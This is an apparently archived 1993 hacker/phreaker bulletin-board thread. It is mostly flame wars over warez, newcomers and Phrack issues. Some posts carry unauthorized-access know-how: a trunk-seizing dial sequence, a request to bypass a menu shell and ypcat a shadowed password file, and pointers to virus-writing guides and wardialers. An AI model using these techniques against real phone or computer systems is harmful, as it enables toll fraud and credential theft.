dial-out, at least on this section of the campus.
Anyway, see ya.
Alex
From cosmos@yabbs Tue Nov 9 06:05:49 1993
From: cosmos@yabbs
To: griton@yabbs
Subject: re: Virtual Machine
Date: Tue Nov 9 06:05:49 1993
Yes, thank you for informing me, I would have never known that.
(The above post is dripping with sarcasm, people read who writes the
original question, for it sure as hell was not me asking about VM.)
Cosmos
From binkley@yabbs Tue Nov 9 10:15:33 1993
From: binkley@yabbs
To: all@yabbs
Subject: ...
Date: Tue Nov 9 10:15:33 1993
I don't see why people who are into warez, and people who are into H/P/A
can't get along. Warez groups make software free for all, and what the
hell is wrong with that?!?! BUt why can't both worlds get along. H/P/A
want's information, and access to be free, both groups are working against
each other half of the time.. always bickering, you fucking warez puppy,
you elite fuck! KoDe KiDz! Yuch! get over it!
Also I would like to appologize, I didn't figure I was putting this
BBS in danger of being closed down...
sorry
binkley
From wonko@yabbs Tue Nov 9 13:25:17 1993
From: wonko@yabbs
To: xenon@yabbs
Subject: re: accounts
Date: Tue Nov 9 13:25:17 1993
clap clap clap clap clap
you can have the soapbox whenever you want it.
-wonko
From wonko@yabbs Tue Nov 9 13:28:50 1993
From: wonko@yabbs
To: pyro@yabbs
Subject: re: The World...
Date: Tue Nov 9 13:28:50 1993
clap to you too.
i can not say that i desagree with you, but i cannot say i agree
100% with you either. if we would take your posts and xenon's posts
and merge them, i think we have my standing on the situation.
-wonko
From wonko@yabbs Tue Nov 9 13:40:51 1993
From: wonko@yabbs
To: wonko@yabbs
Subject: VM
Date: Tue Nov 9 13:40:51 1993
trying to do anything from VM is a waste of time really.
-wonko
From wonko@yabbs Tue Nov 9 13:46:02 1993
From: wonko@yabbs
To: all@yabbs
Subject: Sun Security
Date: Tue Nov 9 13:46:02 1993
ok, like i said, i will be getting a sun, i think it will be running SunOS
4.1.1 so any security info you have would be great. my sysadmin on fubar
is a security nut so i will always have his input, but he was never much
of a hacker. so he never got to experience it from the other side. i am
asking you seasoned vertrans to help me out with possable security loop
holes that we may overlook.
thanks,
-wonko
From cosmos@yabbs Tue Nov 9 14:13:39 1993
From: cosmos@yabbs
To: binkley@yabbs
Subject: re: ...
Date: Tue Nov 9 14:13:39 1993
Warez is lame. If you want to trade software, fine do it. But fucking
elitist boards with 0-3 day warez and people having to beg to get on the
stupid lame boards is what is my gripe. Do not compare the two, there is
no greatness in warez, there is no talent, any dork can be a warez kiddie.
Warez can suck my dick.
Cosmos
From jasonlee@yabbs Tue Nov 9 14:19:11 1993
From: jasonlee@yabbs
To: xela@yabbs
Subject: re: toronto dial-out
Date: Tue Nov 9 14:19:11 1993
Hey, a fellow Hopkins guy. Well, the dial-out is still there, but has
never worked (at least not to my knowledge, and I was probably the second
person to find out about it). Anyway, we've got some neat stuff hidden
around our little ISN bridge stuff...
If you'd still like to find the dialout, think decnet (hint).
JasonLee
From jasonlee@yabbs Tue Nov 9 14:24:12 1993
From: jasonlee@yabbs
To: binkley@yabbs
Subject: re: ...
Date: Tue Nov 9 14:24:12 1993
Well, I think the problem is that most (or a lot) of the warez puppies
think they are super hot shit cuz they just downloaded the newest game.
This doesn't take much skill. Warez guys who say they're "pirating cuz
they don't like the big corporations, and they think info should be free"
and all that shit, are fooling themselves.
Actually, a lot of the same goes for the HPA people, a good deal of whom
think that having a passwd file means you're a hacker-elite. It's
nothing, and it will only get you so far in a quest to understand computer
systems.
I say all this from personal experience (I used to be both, but not to
some extreme). A whole mess of the people I met while being an elite (HPA
or warez) were basically supreme assholes. No one was nice, and I got
tired of it. People like that rarely get along, so you get all kinds of
fighting amongst the two groups. It's pretty simple.
JasonLee
From griton@yabbs Tue Nov 9 18:19:24 1993
From: griton@yabbs
To: cosmos@yabbs
Subject: tnxs!
Date: Tue Nov 9 18:19:24 1993
tnxs! man!
where r u from?
I'm callig from Argentina.. Sud America!
(The Best Country! :)
If you need anything about h/p world.. tell me..
take care..
bye
El Griton
From griton@yabbs Tue Nov 9 18:22:22 1993
From: griton@yabbs
To: wonko@yabbs
Subject: re: VM
Date: Tue Nov 9 18:22:22 1993
Yo..
are you calling from one Vm s.o?
tell me how you can use the pad?
and how i can connect to anotehr computers..
with the bnitnet net..
tnxs!
el Griton
From NetCo@yabbs Tue Nov 9 21:10:10 1993
From: NetCo@yabbs
To: all@yabbs
Subject: Info. Internet
Date: Tue Nov 9 21:10:10 1993
Hi all !!
I have some questions :
- Any1 knows other Internet H/P BBS's ?
- Any12 know others programs to send Internet BUGS , like ISS ?
Thnks. for all!!
From cosmos@yabbs Wed Nov 10 05:41:58 1993
From: cosmos@yabbs
To: all@yabbs
Subject: re: Info. Internet
Date: Wed Nov 10 05:41:58 1993
People, that is a classic message from your typical moron. TOo bad he
does not exist anymore or I would flame him. Internet bugs with ISS??
Fuck off dork.
Cosmos
From wonko@yabbs Wed Nov 10 09:06:13 1993
From: wonko@yabbs
To: griton@yabbs
Subject: re: VM
Date: Wed Nov 10 09:06:13 1993
never bothered with bitnet, always used the internet address.
of course i do not connect to other systems with the VM machine
since it is a piece of shit and i have this nice vt102 term infront
of me.
-wonko
From wonko@yabbs Wed Nov 10 09:06:59 1993
From: wonko@yabbs
To: cosmos@yabbs
Subject: re: Info. Internet
Date: Wed Nov 10 09:06:59 1993
some people, it is amazing, isn't it??
-wonko
- sigh* at least he was deleted.
From hbeast@yabbs Wed Nov 10 11:04:07 1993
From: hbeast@yabbs
To: all@yabbs
Subject: misc
Date: Wed Nov 10 11:04:07 1993
General stuff: Phrack 44 should be out at Nov. 17.
Got the bounce test some time ago.
Another general note: with the paranoia going around
about the "new" sendmail bug, I think it would be
wise not to tinker with sendmail too much (at least,
for all those of you who are just trying to fake mail).
People can be so anal...
herd beast
From jasonlee@yabbs Wed Nov 10 12:51:58 1993
From: jasonlee@yabbs
To: all@yabbs
Subject: Dumb guy...
Date: Wed Nov 10 12:51:58 1993
Hey, does anyone know who a guy named John M Nowakowski
(khan@wtaserv.ucr.edu) is? I don't know him, but he sent me some fucked
up uuencoded file in the mail. I thought it might contain a .rhosts file,
but it was just gibberish. What a freakish attempt at hacking my account.
If anyone has ever met him, ask him what the hell he was trying to do.
JasonLee
From jasonlee@yabbs Wed Nov 10 18:49:55 1993
From: jasonlee@yabbs
To: all@yabbs
Subject: Complaints about strings
Date: Wed Nov 10 18:49:55 1993
Damn, I'm just having an annoying time getting a stupid program to work.
I'm no C god, so I'm in normal C I. Linked lists are so fun, but for some
reason when I change the data type of each node from int to char *, each
time I add a node, the data in each of the other nodes is replaced by the
new value. So instead of having a list of {time} then {help, time} I get
{time, time}. I can find no reason for this, but if anyone would like to
berate me for missing some amazingly obvious point, I'd be happy to accept
your attacks. E-mail me here or at dirtboy@sanctuary.pc.cc.cmu.edu.
Thank youse so very much.
JasonLe
er, JasonLee
From LoA@yabbs Thu Nov 11 01:40:26 1993
From: LoA@yabbs
To: all@yabbs
Subject: I need some help..
Date: Thu Nov 11 01:40:26 1993
the server I'm using to call out (Harvery Mudd, CA) is rather weak, no
FTP, or FINGER.... and I am in DIRE need of a dial up in the 909/714
area.. if anyone can help me...... PLEASE do, will trade info or ??? if
needed
From binkley@yabbs Thu Nov 11 18:16:31 1993
From: binkley@yabbs
To: cosmos@yabbs
Subject: re: ...
Date: Thu Nov 11 18:16:31 1993
What the hell do you mean it takes no talent?! coding your own game
loaders, isn't easy... Breaking copy protection is no easy task either,
removing DOC checks, and stuff like that, you're such a fucking no-it-all
can you do stuff like that?!
From griton@yabbs Thu Nov 11 19:54:16 1993
From: griton@yabbs
To: cosmos@yabbs
Subject: re: tnxs!
Date: Thu Nov 11 19:54:16 1993
{yo!
c00l, you are here
since 85????
heheh.
well, im new.byq. coz i;m stay
here since 91.. :)
chicago? usa? nice city, no?
you can't use box? no? or you can call sprint-net dials?//
From griton@yabbs Thu Nov 11 19:59:20 1993
From: griton@yabbs
To: wonko@yabbs
Subject: re: VM
Date: Thu Nov 11 19:59:20 1993
tnxs...
man...
but in vm? whcih is teh command?
to connect to anotehr system's?
From Alvin@yabbs Thu Nov 11 20:29:39 1993
From: Alvin@yabbs
To: all@yabbs
Subject: ..
Date: Thu Nov 11 20:29:39 1993
is anyone calling from Denmark? if so, email me.
thanks.
Alvin
nollette@sumax.seattleu.edu
From pyro@yabbs Fri Nov 12 03:45:45 1993
From: pyro@yabbs
To: binkley@yabbs
Subject: Warez d00d
Date: Fri Nov 12 03:45:45 1993
Fact: very few people can accomplish such things. The few that do are
not the representation of the wwarez world that everyone sees. they do
have some talent in a special field (however, making VGA loaders is still
lame and worthless). But tthe other 99.9% of the warez world is the 15
year old kid who thinks he is hot shit because he has X-Wing and Daddy's
486 and 14.4 modem.
These kids abuse anything they get. They openly beg for accounts, codes
and sites. They are annoying and should be shit. Simple.
-TP
From cosmos@yabbs Fri Nov 12 05:15:03 1993
From: cosmos@yabbs
To: binkley@yabbs
Subject: re: ...
Date: Fri Nov 12 05:15:03 1993
Come off it Binkley. Yes, I have done that. I was once a "pirate" too,
long time ago....long time ago. It does not take very much talent, a
simple knowledge of assembly and machine language and a sector
editor...today they have even more powerful tools. Do not condescend me
with that crap about being really tough to be a software pirate.
Oh, I forgot to mention how elite being a pirate is....K-RaD.
Cosmos
.s
From cosmos@yabbs Fri Nov 12 05:15:54 1993
From: cosmos@yabbs
To: griton@yabbs
Subject: re: VM
Date: Fri Nov 12 05:15:54 1993
Um...try telnet....just a guess....
Cosmos
From wonko@yabbs Fri Nov 12 10:08:34 1993
From: wonko@yabbs
To: cosmos@yabbs
Subject: re: VM
Date: Fri Nov 12 10:08:34 1993
i was going to suggest the same thing, hold on, let me try something.
-wonko
From wonko@yabbs Fri Nov 12 10:12:13 1993
From: wonko@yabbs
To: wonko@yabbs
Subject: re: VM
Date: Fri Nov 12 10:12:13 1993
shit, anyway, someone give me aa machine on bitnet.
i can try it myself then.
-wonko
From griton@yabbs Fri Nov 12 18:42:04 1993
From: griton@yabbs
To: cosmos@yabbs
Subject: re: VM
Date: Fri Nov 12 18:42:04 1993
heheh :)
i wqas try..
and nothing..
coz the system.
it's af.wn old system,
i dunno, why, i was read about bitnet in the files...
i'll investigate..
are you study anything?
i study computer science.. 1st year.. :(..
From Alvin@yabbs Fri Nov 12 22:16:38 1993
From: Alvin@yabbs
To: all@yabbs
Subject: ..
Date: Fri Nov 12 22:16:38 1993
does anyone know what an extender is? any help will be appreciated.
Alvin
email me at:
nollette@sumax.seattleu.edu
From B-Chrome@yabbs Sat Nov 13 11:24:48 1993
From: B-Chrome@yabbs
To: all@yabbs
Subject: re: H/P & Scaners/hacking
Date: Sat Nov 13 11:24:48 1993
That board that jcjc was talking about - Piracetam - is in Tampa, FL...
It is the ECP Information HQ for anyone that was around in the mid to late
80's and knows what the ECP is... There's no NUP on it and if you are
looking for information, it does indeed have it! The SysOp is a long time
Hacker and Phreaker and knows a hell of a lot... But of course he's not
willing to share to easily... The number is (813) 996-3902 and is
14.4k... Pretty cool software he runs too... Check it out at least once,
as Piracetam is a very potent smart drug and you might find yourself
becoming addicted to it after a short while...
From rcb@yabbs Sun Nov 14 13:14:19 1993
From: rcb@yabbs
To: all@yabbs
Subject: AUDIX
Date: Sun Nov 14 13:14:19 1993
I've been messing with Sys75's lately, and I see PBX's set up on AUDIX
systems. The only thing is, I don't know how to recognize one. Any help
here is appreciated.
Ratscabies
From pooper@yabbs Sun Nov 14 21:03:54 1993
From: pooper@yabbs
To: ldistort@yabbs
Subject: re: toneloc
Date: Sun Nov 14 21:03:54 1993
look on archie for it.... (use telnet archie.ans.net and use find toneloc)
From pyro@yabbs Mon Nov 15 06:03:38 1993
From: pyro@yabbs
To: rcb@yabbs
Subject: Sys75
Date: Mon Nov 15 06:03:38 1993
There is a newsltter/exine out called Cult of the New Order (cotno), they
only have 1 issue out, but it has a fairly good file on System75 use. It
has caotures and the whole 9 yards. (its the only thing in the zone that
is any good). Anyway, look around for it. I saw it on some BBS. If I
find it I will FTP it here, but ask around. Someone should have it.
-Pyro
From savoire@yabbs Mon Nov 15 15:49:59 1993
From: savoire@yabbs
To: all@yabbs
Subject: Learning
Date: Mon Nov 15 15:49:59 1993
The most dangerous attitude expressed here is "go get a book and learn
by yourself." This is completely contrary, in my view, to the free
exchange of information. Remember earlier in the thread, when everyone was
talking about newbies on HPA boards? The greatest statement coming out of
that was that these boards are a great place to learn and to exchange
ideas. I agree with the specific complaint that idiots arbragging and
handing out accounts which were not procured legitimately, an illegal
enterprise that threatens the system. However, I think that discussions on
security holes in Unix, ways to sneak through telnet-watchers, mailing
anonymously are all discussions that are perfectly valid, and I would
encourage them. To say "get out of here and read a book" is not conducinve
to the free atmosphere. Basics get acquired pretty quickly, and the goal
of a hacker is ewxploring. Let's support this goal by stopping the idiotic
brag/rag wars, and equally stopping the massive posts on why everyone
hates newbies / w3r3z d00dz etc. Instead, let's talk about how to make the
most of the internet.
Relinquishing the soapbox...
From cosmos@yabbs Mon Nov 15 15:54:13 1993
From: cosmos@yabbs
To: savoire@yabbs
Subject: re: Learning
Date: Mon Nov 15 15:54:13 1993
Eat shit moron. My posts were justified. Read them and see WHY we sent
them to read up.
Cosmos
From B-Chrome@yabbs Mon Nov 15 16:40:46 1993
From: B-Chrome@yabbs
To: savoire@yabbs
Subject: re: Learning
Date: Mon Nov 15 16:40:46 1993
Amen!
Something I have believed in since joining the ECP! in 1986...
FREEDOM OF INFORMATION!
Granted, I don't spend a lot of time educating the up and coming
generation, but if they ask a valid question and no one else is answering
it, then by all means I will if I can...
Burning Chrome
From gurujam@yabbs Mon Nov 15 16:49:42 1993
From: gurujam@yabbs
To: all@yabbs
Subject: re: Learning
Date: Mon Nov 15 16:49:42 1993
kiss my grits,cosmos.
his one(1) post made a a lot more funking sense than your
previous two(2) thread related to my post.
i may not fit your "concept" of a hacker,but i can program in every
language on the vax i work on.
i am not rich enough to own a pc.i barely have enough money
to go to college.
thank you savoire for your clear head in this matter.
(warning: I make no funking sense in general.but I did score eighth
in the nation in computional concepts and informtion processing.
this is not a boast,but to show that i understand the basics.
gurujam
From pyro@yabbs Mon Nov 15 17:07:41 1993
From: pyro@yabbs
To: all@yabbs
Subject: False Ideas Will Kill
Date: Mon Nov 15 17:07:41 1993
I personally think the whole idea of a free information society is invalid
and dangerous. Information should not be free. It is the, in my opinion,
responsibility of each and every individual and organization to protec
their own information, and provide for their own privacy. It is not the
responsibility of the Government or any other broad based institution to
do so for us.
As for sharg of information to help everone become more educated. Sure,
this idea has much merit. But lets face it, spoon feeding does no one any
good. Its a two way street, and to effectively have an excahnge of
information in such a public forum you need a number of people on the same
intellectual level discussing their views, while a few people may just
kick back and watch.
But to sit here and read stupid wuestions non-stop all day is annoying. I
hate one way streets, and I know a number of other people do as well. I
have better things to do with my time than to tutor a bunch of people who,
in my opinion, are too lazt to try and learn anything on their own free
will. So, yes, read a book so you have some concept of what you are
talking about, then ask questions based on what you have read and what you
would like to know more about. But don't simply assume that because
there is some false notion of "free information" people are obligated to
asnwer any neophyte question that gets posted.
Just to carry it a bit farther... Poeple are so consumed with getting
resuluts right away. They do not realize that the people in the hack
community who do have a large amount of knowledge have been at it for
YEARS. They have read every e-zone they have come across, they have read
books, met people, scoured UseNet, tried things, etc. Its a LONG PROCESS
if you want ot be well rounded. On the other hand, we get people today
who feel that it is their right, because of this stupid notion of foree
information, to know everything that the old elite may know. Wrong.
Knowledge cannot be spoon fed into brains full of much. Each indiviidual
must take the task of learning to heart and put as much in to it, and even
MORE in to it, than those they would have teach them. Simple.
Well, yet another long post from me. And filled with typos too. Neat-0,
huh?
-The Pyro
From gh0d@yabbs Mon Nov 15 17:52:10 1993
From: gh0d@yabbs
To: all@yabbs
Subject: packet sorter
Date: Mon Nov 15 17:52:10 1993
Anyone have any source to sort packets into sessions? I'm
talking raw packets here. Also, can anyone recommend sources
online that explain different protocols, discuss tcp/ip packets
in detail(ICMP, arp, ..) the nine yards. anything,
I here about all this talk about 'old elites' being on here.
So, bring on the telco guys, let's discuss.
s/here/hear
From gh0d@yabbs Mon Nov 15 17:59:04 1993
From: gh0d@yabbs
To: all@yabbs
Subject: Ethernet ODI stuff
Date: Mon Nov 15 17:59:04 1993
Anyone mess with ODI drivers for your ethernet card on your IBM?
If so, send me all that source you have! ;-) .. I just need
source to throw it into promiscuous mode and you know the rest.
try mailing blaugal@eis.calstate.edu if you dont feel
like puting it here.
From jmac@yabbs Mon Nov 15 19:47:42 1993
From: jmac@yabbs
To: all@yabbs
Subject: Trillian...
Date: Mon Nov 15 19:47:42 1993
What's the deal with trillian.cc.ttu.ee? Somehow I cannot use the guest
acct. anymore. Jesus, I've lost access to the only two boards which gave
me any sort of access to INet.
Great.
Oh yeah, I need access to CMU.EDU by the weekend..
From jmac@yabbs Mon Nov 15 19:53:28 1993
From: jmac@yabbs
To: all@yabbs
Subject: CTS2
Date: Mon Nov 15 19:53:28 1993
Anybody know what a "CTS2 >" prompt is running on. I just got a password
for this dialup but I can't seem to get anything running. When I use the
"Connect <host>" command, it finds the address, and then tells me my
connection was refused by host. What is the deal with this system?
Thanks.
From dux@yabbs Mon Nov 15 19:59:42 1993
From: dux@yabbs
To: savoire@yabbs
Subject: re: Learning
Date: Mon Nov 15 19:59:42 1993
Savoire, I agree with you 100%. Nothing aggravates me more than observing
folks I've helped give attitude to others.
From binkley@yabbs Mon Nov 15 23:52:02 1993
From: binkley@yabbs
To: jmac@yabbs
Subject: re: CTS2
Date: Mon Nov 15 23:52:02 1993
I'll bet it's a restricted net server. I found one on an 800 system. no
passwords to get in, but iI only found 1 system it would connect to, one
that was listed on it...
binkley
From xela@yabbs Tue Nov 16 21:46:54 1993
From: xela@yabbs
To: all@yabbs
Subject: help and newbies
Date: Tue Nov 16 21:46:54 1993
why is it so difficult for experienced hackers to give newbies a little
help when it is neccessary -and- encourage the newbie to read a little,
all without the massive attitude problem both cosmos and savoire have?
it is possible that the answer lies in the size of ego of each party, so
"lighten up."
i am a newbie who asks questions and reads. i do fine, even tho' my
questions may be annoying to those i ask, but it should be a small matter
to read as well.
anyways, thats my two cents.
-xela
From xenon@yabbs Tue Nov 16 22:21:55 1993
From: xenon@yabbs
To: xela@yabbs
Subject: re: help and newbies
Date: Tue Nov 16 22:21:55 1993
I have no problem what-so-ever with helping newbies out...hell, I've been
trippin da cyberspace fantastic fer 6 yrs and still consider myself a
newbie...theres a shitload of information ta read up on out there...my
problem is when sumone thinkin they're gods gift to hackers puts up sum
bullshit post askin fer stupid shit. those are the people i tell ta
read...read about the past and present ta gain an understandin about da
hacker world in general.
i am willing to answer questions to da best of my ability. even if it is
a "simple" question. its da "stupid" ones i tend ta ignore. fer example,
if sumone asks fer help understand how a PBX works and how it can be used,
thats ok, but if sumone jus asks fer numbers and passwords, that tells me
that theyre not interested in learnin much x-cept how ta make a few free
LD calls and mebbe show-off to their friends...
tellin sumone HOW a sysem works does not go against my principals, but
givin people a free ride ta abuse a system is. my view of a hacker is
sumone who wants ta learn the ins and outs of a system not jus how ta use
it fer selfish reasons. there are 2 main tools ta this learnin...1)
reading. ya gotta read up on yer system. do research on it , learn the
basic principals behind how it works so you can move on to the next step:
2) hands on experiance. this is of equal importance as the first step.
ya GOTTA play around on a system...find new and interesting ways ta use
the system...use that x-periance to teach others and apply it to da next
system ya encounter.
behind all this learnin, tho, ya gotta have a personal drivin force. the
posts i see on here that irk me are the ones by lost people, (no specific
goal in mind other than sheer abuse), who are jus lookin fer a free ride.
those are the people i tell ta read...read up on the past and apply that
x-periance to form sum sort of personal goal...THEN start askin questions
and work toward that goal...
--> Xenon
From gh0d@yabbs Tue Nov 16 23:42:54 1993
From: gh0d@yabbs
To: xela@yabbs
Subject: re: help and newbies
Date: Tue Nov 16 23:42:54 1993
most of the people who ask me about telco havent read any phracks... The
only way you might get information from me is if you read all the phracks
(telco articles)
From cosmos@yabbs Wed Nov 17 06:03:50 1993
From: cosmos@yabbs
To: xela@yabbs
Subject: re: help and newbies
Date: Wed Nov 17 06:03:50 1993
First off, never butt in to something during the middle. Secondly, if you
had read from the beginning you would know that this whole argument
stemmed from the idotic post of Intruder and others who would ask
like...hey how do I hack...and whos got the k0dez.
The problem is not my ego...it is the 'newbie' unwillingness to accept
responsibility for their learning. The new breed today wants it all on a
silver platter...I wonder if they can read.
Cosmos
From wonko@yabbs Wed Nov 17 08:32:18 1993
From: wonko@yabbs
To: cosmos@yabbs
Subject: re: help and newbies
Date: Wed Nov 17 08:32:18 1993
reading is have the fun. not only is it the way for a hacker/phreak to
learn it is lots of fun!!!!!!!! if i had half a clue that first have in
the first sentance should have been a half instead. duh. anyway,
id a good 80% of what i know from reading, then there is the hands on for
reinforcement of concepts. why can't i type today?? at least i am
thinking somewhat clearly for a fucking change.
-wonko
From Cagim@yabbs Wed Nov 17 19:21:14 1993
From: Cagim@yabbs
To: all@yabbs
Subject: re: 40hex
Date: Wed Nov 17 19:21:14 1993
It's on the net guys...didya ever try archie?....sheesh
IP Address: bongo.cc.utexas.edu
Along with some other cool info files (ie. NuKe..Phalcon/skisms virus
writing guide and a couple of muattion and polymorph engine virus shells.)
As far as I'm concerned information should be freely distributed...I say
let the chips fall where they may....ie. You are responsible for
your actions not me!
BTW Howdy, I'm new to the Net.....
From Cagim@yabbs Wed Nov 17 19:32:53 1993
From: Cagim@yabbs
To: all@yabbs
Subject: re: 40hex
Date: Wed Nov 17 19:32:53 1993
Oh yeah,
try /pub/mccoy/computer-underground, duh
Cagim
From tboe@yabbs Thu Nov 18 01:48:17 1993
From: tboe@yabbs
To: griton@yabbs
Subject: re: VM
Date: Thu Nov 18 01:48:17 1993
well, after what I know, it's just no way to do it.
From phragger@yabbs Thu Nov 18 07:00:36 1993
From: phragger@yabbs
To: gh0d@yabbs
Subject: re: packet sorter
Date: Thu Nov 18 07:00:36 1993
well, for documentation on different protocols, there is problably quite a
lot of stuff on research.att.com and ftp.sage.usenix.com.
From jealousy@yabbs Thu Nov 18 11:24:04 1993
From: jealousy@yabbs
To: all@yabbs
Subject: <no title>
Date: Thu Nov 18 11:24:04 1993
Hi I am new here and I am a bit confused. Maybe someone could help me.
From LordGraf@yabbs Thu Nov 18 11:35:22 1993
From: LordGraf@yabbs
To: all@yabbs
Subject: <no title>
Date: Thu Nov 18 11:35:22 1993
Does anyone know where I can get a Wardialer Like ToneLoc via FTP? Yes I
have tried archie but to no avail.
LordGrafx
From cosmos@yabbs Thu Nov 18 14:09:54 1993
From: cosmos@yabbs
To: xela@yabbs
Subject: re: help and newbies
Date: Thu Nov 18 14:09:54 1993
Thank you for your insight. Me an my ego thank you.
Cosmos
From cosmos@yabbs Thu Nov 18 14:12:19 1993
From: cosmos@yabbs
To: all@yabbs
Subject: Phrack 44 is here
Date: Thu Nov 18 14:12:19 1993
Well, Phrack 44 is out and at least some of you should have it, I have
perused a few sections(01,03,04) and it is quite good. Of course, my
article on PSDN's in section 04 could have something to do with my
judgment...:)
Check it out...
Cosmos
From gh0d@yabbs Thu Nov 18 16:12:13 1993
From: gh0d@yabbs
To: cosmos@yabbs
Subject: re: help and newbies
Date: Thu Nov 18 16:12:13 1993
Do you know anything about cosmos?
From pyro@yabbs Thu Nov 18 22:09:16 1993
From: pyro@yabbs
To: cosmos@yabbs
Subject: Phrack
Date: Thu Nov 18 22:09:16 1993
Yes, your article was one of the few worth reading, in my opinion. As
usaul, Phrack is lareg and boring for the most part.
Maybe I should submit something. Its been, oh, 8 years since I last did
soething for it...
Damn, I need to learn to type.
From jimjones@yabbs Fri Nov 19 01:39:27 1993
From: jimjones@yabbs
To: all@yabbs
Subject: re: Phrack
Date: Fri Nov 19 01:39:27 1993
Not so, seems like now it's a litle more interesting. Now that thaat
dispater guy is in levinworth or whatever...
From cosmos@yabbs Fri Nov 19 04:49:25 1993
From: cosmos@yabbs
To: gh0d@yabbs
Subject: re: help and newbies
Date: Fri Nov 19 04:49:25 1993
what do you need to know...
P.S. (I don't know anything, I just have an ego)
Cosmos
From gh0d@yabbs Fri Nov 19 21:09:13 1993
From: gh0d@yabbs
To: cosmos@yabbs
Subject: re: help and newbies
Date: Fri Nov 19 21:09:13 1993
I was just wondering what telco systems you were familiar with. LMOS,
COSMOS, BOSS, PREMIS.. ?
From xela@yabbs Sat Nov 20 16:09:13 1993
From: xela@yabbs
To: cosmos@yabbs
Subject: re: help and newbies
Date: Sat Nov 20 16:09:13 1993
I believe you remarked something like this:
> P.S. (I don't know anything, I just have an ego)
You also said this:
> Me and my ego thank you.
If at any point during our brief conversation I claimed you were all ego
and no knowledge, you may quote and I will gladly leave this bbs.
Otherwise stop putting words into my mouth. If anything that shows
immaturity, ignorance, and arrogance. Grow up.
-Alex
From cosmos@yabbs Sun Nov 21 15:25:22 1993
From: cosmos@yabbs
To: xela@yabbs
Subject: re: help and newbies
Date: Sun Nov 21 15:25:22 1993
I was not flaming you per se...just the general attitude towards me. Who
put words into your mouth?? I have a rule. I never put anything in
anyone's mouth, it's nasty and frankly, can lead to some pretty funky
diseases.
A public service announcement from your local egotist,
Cosmos
From TRobber@yabbs Tue Nov 23 11:40:11 1993
From: TRobber@yabbs
To: all@yabbs
Subject: Phrack
Date: Tue Nov 23 11:40:11 1993
I was just wondering where I can get a copy of Phrak
-TRobber
From Cagim@yabbs Tue Nov 23 13:22:52 1993
From: Cagim@yabbs
To: TRobber@yabbs
Subject: re: Phrack
Date: Tue Nov 23 13:22:52 1993
Hey TRobber,
Which copy? I think they're up to 44 now...anyway, try.........
ftp.halcyon.com under /pub/cud/phrack.....
Cagim
From Alvin@yabbs Tue Nov 23 15:17:33 1993
From: Alvin@yabbs
To: TRobber@yabbs
Subject: re: Phrack
Date: Tue Nov 23 15:17:33 1993
or try netsys.com /pub/phrack
From TRobber@yabbs Tue Nov 23 15:43:34 1993
From: TRobber@yabbs
To: all@yabbs
Subject: re: Phrack
Date: Tue Nov 23 15:43:34 1993
Thanks for your help, I'll try both...
TRobber
From HomeySan@yabbs Tue Nov 23 18:01:08 1993
From: HomeySan@yabbs
To: all@yabbs
Subject: re: Whaz up?
Date: Tue Nov 23 18:01:08 1993
well, I have one more channce to plug my bbs, so here it goez..
1t iz a lam3r b0ard that haz s0m3 r3ally k1ck t3xt
(317) 823-8184 I got to up your security and shit, it takes time... (heck,
I'm 15 and livbe undermy parents house, its THEIR phone line... so I
gotta watch my ass...
14.4k bps v32/42bis
c-ya!
From jmac@yabbs Tue Nov 23 21:08:50 1993
From: jmac@yabbs
To: all@yabbs
Subject: Hello..
Date: Tue Nov 23 21:08:50 1993
MPE XL:
MPE XL:hello
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
MPE XL:hello public.library
HP3000 RELEASE: B.40.00 USER VERSION: B.40.00 TUE, NOV 23, 1993,
6:01 PM
MPE/iX HP31900 B.30.45 Copyright Hewlett-Packard 1987. All Rights
Reserved.
Does anyone have any idea if there are any other commands in this HELLO
shell?
Thanks.
From schief@yabbs Wed Nov 24 19:19:40 1993
From: schief@yabbs
To: all@yabbs
Subject: phrack 44
Date: Wed Nov 24 19:19:40 1993
would someone have it in the goodness of their heart to mail me a
(preferably compressed in some way) copy of phrack 44? Stormking is
apparently never going to send me one itself? Finger me at the main menu
for the addr..
From QFX@yabbs Thu Nov 25 18:25:28 1993
From: QFX@yabbs
To: jmac@yabbs
Subject: re: Hello..
Date: Thu Nov 25 18:25:28 1993
Its a hp3000 and you can use "DATA" and a couple of others just grab a t
file on hp3000
QFX
From horus@yabbs Thu Nov 25 22:12:19 1993
From: horus@yabbs
To: schief@yabbs
Subject: re: phrack 44
Date: Thu Nov 25 22:12:19 1993
ftp it off their distribution site ftp.netsys.com /pub/phrack
From schief@yabbs Fri Nov 26 14:19:54 1993
From: schief@yabbs
To: horus@yabbs
Subject: re: phrack 44
Date: Fri Nov 26 14:19:54 1993
it's there? i checked about 2 days ago and it wasn't there then..or so I
thought... <shrug>
From horus@yabbs Fri Nov 26 16:50:36 1993
From: horus@yabbs
To: schief@yabbs
Subject: re: phrack 44
Date: Fri Nov 26 16:50:36 1993
It's there, 380K zipped and over 800K unzipped. Eric likes em big! ;)
From iceman@yabbs Fri Nov 26 21:25:21 1993
From: iceman@yabbs
To: all@yabbs
Subject: SL-1
Date: Fri Nov 26 21:25:21 1993
Comments on the Meridian SL-1 article? Should I have wasted it on Phrack?
Alot of people think not.
iceman
iceman@mindvox.phantom.com
From schief@yabbs Sat Nov 27 11:53:05 1993
From: schief@yabbs
To: horus@yabbs
Subject: re: phrack 44
Date: Sat Nov 27 11:53:05 1993
yep, i found it... :-)
From johndeer@yabbs Mon Nov 29 18:24:00 1993
From: johndeer@yabbs
To: all@yabbs
Subject: stuff
Date: Mon Nov 29 18:24:00 1993
jmac:
there's some good t-fi;les on hp-3000, check them out.. i have a feeling
that system is fairly closed though..
telephony people:
my friend in UK has been able to seize a trunk in hawaii. to tial any US
number, he just dials AC and the number (no 1 before the AC). but it
won't let him connect ot 800's, or international dial.. i think he's on an
ESS switch..
he dials B12+ AC and number + C
anyone konw how to get international on this? he's tried 011+country
code, and jsut country code, and even tried routing it with 10xxx does,
but to no avail.. can anyone help out?
johnDeere
From DINO@yabbs Wed Dec 1 17:28:37 1993
From: DINO@yabbs
To: all@yabbs
Subject: Menu Driven unix
Date: Wed Dec 1 17:28:37 1993
I was wondering if anyone had any suggestion to bypassing as menu program
for a unix host? I need to ypcat the shadowed passd file? not looking to
leech info just looking for suggestions? thanks!
From rramone@yabbs Thu Dec 2 04:04:30 1993
From: rramone@yabbs
To: all@yabbs
Subject: Beige Box
Date: Thu Dec 2 04:04:30 1993
While inspecting a friend's outside phone box today, I discovered that
his is not like mine (ok, duh, I know). Mine is a box that is made
by the Telco, and it merely slips off, exposing a set of posts and
wires. However, when I opened his, which appeared to be a commercial
